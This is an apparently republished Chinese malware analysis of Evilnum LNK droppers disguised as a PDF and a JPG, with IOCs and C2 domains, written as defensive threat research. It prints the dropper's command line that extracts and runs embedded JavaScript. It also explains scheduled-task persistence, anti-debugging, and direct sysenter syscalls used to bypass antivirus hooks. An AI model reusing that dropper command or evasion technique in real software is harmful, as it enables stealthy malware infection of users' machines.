作者:Yenn_
原文鏈接: https://0xdf1001f.github.io/2020/12/23/Evilnum/

JointAccountDCS.pdf.lnk

基本信息

File Name File Size File Type MD5
JointAccountDCS.pdf.lnk 1,269,749 Byte 48cf7f7b4180b1c4fb3ac3e149917130

動態行為

運行后在桌面創建了pdf文檔并彈出了pdf閱讀器打開文檔

img

樣本為.LNK文件,調用CMD執行釋放出的js

img

樣本分析

JointAccountDCS.pdf.lnk

樣本為.LNK文件,命令行:

C:\Windows\System32\cmd.exe /c path=%windir%\system32&move "JointAccountDCS.pdf.lnk        " "%tmp%\1.lnk"&type "%tmp%\1.lnk"|find "END2">"%tmp%\0.js"&wscript "%tmp%\0.js"

將自身移動到%temp%目錄下,通過標志“END2”釋放出js代碼,調用Wscript執行js代碼

img

img

從base64解碼出“ddpp.exe”

判斷當前運行的腳本路徑是否為“C:\Users\sam\AppData\Local\Microsoft\Credentials\MediaPlayer\VideoManager\media.js”

img

當腳本路徑不為上述時,先從文件中取出PDF文件并釋放執行

img

創建文件夾””C:\Users\sam\AppData\Local\Microsoft\Credentials\MediaPlayer\VideoManager””

img

將前面釋放出的0.js拷貝到C:\Users\sam\AppData\Local\Microsoft\Credentials\MediaPlayer\VideoManager\media.js

img

拷貝后,將原來的%temp%\0.js刪除并執行拷貝后的.js文件

img

運行后刪除掉先創建的文件夾C:\Users\sam\AppData\Local\Microsoft\Credentials\MediaPlayer\VideoManager,釋放ddpp.exe到C:\Users\sam\AppData\Local\Microsoft\Credentials\MediaPlayer下

img

創建計劃任務執行釋放出的ddpp.exe,參數:”QjY2MDBGMTQtNDU0Ni1BMjdELTUxQzEtOUIwMzQ3RTZFMjgw” “NjQyNjcz” 0

img

刪除移動后的1.lnk

img

ddpp.exe

載入IDA時,PDB路徑看起來很像一個正常的java程序,PDB路徑:

img

通過GetCommandLineh獲取命令行,進行反調試,樣本通過判斷命令行長度是否為0x22,檢測是否正常按照計劃任務帶有參數執行,不是則退出

img

利用GetFileAttributes查詢判斷SysWOW64下的Kernel32.dll是否存在,判斷系統操作位數

img

獲取當前系統版本

img

通過GetTickCount - Sleep - GetTickCount反調試

樣本直接利用SSDT索引號通過sysenter調用內核函數,不經過NTDLL的調用

通過SSDT索引號0xb3取NtOpenFile函數,再通過Sysenter進入ring0直接調用

img

Windbg中NtOpenFile的索引:

img

調用ZwReadFile讀取文件自身

img

從自身偏移13E07D0處開始讀取,讀取5E8B字節大小內容并對讀取的內容進行解密并通過ZwAllocateVirtualMemory分配內存

將解密修復后的代碼拷貝到申請的內存空間中,調用ZwCreateThreadEx執行函數,在新線程內通過call [eax]跳轉到解密后的代碼執行

img

從代碼中解密出Http請求相關字符串,包括User-Agent、http://corpxtech.com/c?v=4&u=、GET等

img

img

動態獲取API地址

img

創建互斥體 “Global\wU3aqu1t2y8uN”

利用運行的命令行參數組成完整的url:”

其中參數V=4疑似為版本號v4

img

準備向C2服務器發送GET請求

img

CopyIdentityLicense.jpg.lnk

基本信息

File Name File Size File Type MD5
CopyIdentityLicense.jpg.lnk 617,271 Byte d1f069c6021aba84d1fa010295312315

最近上傳到VT的Evilnum樣本

img

CopyIdentityLicense.jpg.lnk

樣本是一個.jpg.lnk文件,運行后會打開同目錄下另一個.jpg文件,這次的.lnk執行的命令行代碼進行了混淆,不過分析后大致流程還是相似,通過Magic Word“VER1”去.lnk文件中遍歷出js代碼并釋放到%temp%\wct7ZD7ASHB.dat并調用Cscript運行這個釋放出的文件,文件實際上為一個.js文件

img

提取出的部分JS代碼

img

.js惡意文件會將自己移動到C:\Users\sam\AppData\Local\Microsoft\Windows\ConnectedSearches\Templates目錄下并重新運行,功能為釋放出一個PE文件并創建計劃任務實現持久化

釋放出文件C:\Users\sam\AppData\Local\Microsoft\Windows\ConnectedSearches\main.exe,并為其創建計劃任務每3小時執行一次

img

這里與前面版本不同,V4版本直接創建計劃任務執行最終階段,而這一次計劃任務的內容并不是最終階段的載荷

計劃任務執行的exe是一個SFX自解壓,壓縮包有密碼保護,可以用計劃任務中的參數將其解壓出來,其中包含了兩個文件,運行的是RdrCER.exe

img

RdrCER.exe

通過計劃任務執行時帶有參數

"C:\Users\sam\RdrCER.exe" "RjlDMTBGMTQtQzhBRS0yQjE0LUEwODItRUMxMTg1MDA3NjM2" "devDISMWKI.tmp" "NTY5MTY5" "Ni4xLjc2MDE%3D" 0 "65C36820" "Nzc3NDU2YH55GWYDeGR2YgV8BXtyaEZXWg%3D%3D" 0

樣本盡力偽裝為谷歌的套件

img

接下來部分與前樣本流程類似,也是通過SSDT索引號調用內核函數,解密代碼,新線程中跳轉執行

IOC

C2 :

http://corpxtech.com

http://quotingtrx.com

http://msftld.com

http://apple-cdrp.com

總結

1.樣本直接調用Sysenter進入內核,通過mov eax賦值SSDT索引號,通過SSDT索引號直接進入內核,這樣不會調用NTDLL中的函數,可以有效繞過部分殺軟在內核函數的HOOK

2.樣本解密出了字符串”\??\“,在內核中打開文件時需要在路徑最前加上”\??\“

3.SSDT索引號在32位下在NTDLL函數的偏移1字節處,在64位下在偏移4字節處

4.調用sysenter時,EAX為SSDT索引號,函數的參數在堆棧ESP+8處,ESP為KiFastSystemCall的返回地址,ESP+4為調用的內核函數的返回地址,ESP+8開始為函數的參數(當EIP指向sysenter時)


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1511/